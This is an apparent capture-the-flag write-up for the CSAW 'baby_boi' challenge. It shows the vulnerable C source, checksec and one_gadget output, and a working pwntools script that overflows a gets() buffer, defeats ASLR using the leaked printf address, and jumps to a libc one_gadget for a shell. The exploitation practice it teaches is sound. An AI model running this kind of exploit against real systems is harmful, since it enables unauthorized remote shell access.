Simple ROP on 64 bit binary.
Information
- category : pwn
- points : 50
Description
Welcome to pwn. nc pwn.chal.csaw.io 1005
Three files : baby_boi, baby_boi.c, libc-2.27.so
Writeup
Ok, so we have the libc (libc-2.27.so
) used by baby_boi
(binary of baby_boi.c
).
Let’s see the source code :
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv[]) {
char buf[32];
printf("Hello!\n");
printf("Here I am: %p\n", printf);
gets(buf);
}
Oh it’s really baby as the title said, and we can notice gets(buf)
in the end –> buffer overflow.
Check the security protections and properties of the binary:
$ file baby_boi
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=065da8fff74608a5758babd74e18e7e046054d84, not stripped
$ checksec --verbose --file=baby_boi
RELRO : Partial RELRO
Stack Canary : No
NX : Enabled
PIE : No PIE
RPATH : No RPATH
RUNPATH : No RUNPATH
Symbols : 64
Fortify : No
Fortified : 0
Fortifiable : 2
How to pwn ?
We can easily compute the base address of the libc substracting from the printf-address
(given by the program’s output) the symbols of printf contained in the libc-2.27.so
.
After that we can use one_gadget to execute /bin/sh
.
$ one_gadget ./libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ) # Let's try this one
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Exploit
from pwn import *
# Variables
conn = remote('pwn.chal.csaw.io', '1005')
libc = ELF("./libc-2.27.so")
log.info(conn.recvuntil('I am:'))
printf_address = int(conn.recvuntil("\n"), 16)
libc_base = printf_address - libc.symbols["printf"]
one_gadget = 0x4f2c5
# Create payload
log.info("printf_address @ %s" % hex(printf_address))
log.info("printf symbol address @ %s" % hex(libc.symbols["printf"]))
log.info("libc base @ %s" % hex(libc_base))
payload = "A" * 40 + p64(libc_base + one_gadget)
# Time to get a shell -\_('_')_/-
conn.sendline(payload)
conn.interactive()
Flag
flag{baby_boi_dodooo_doo_doo_dooo}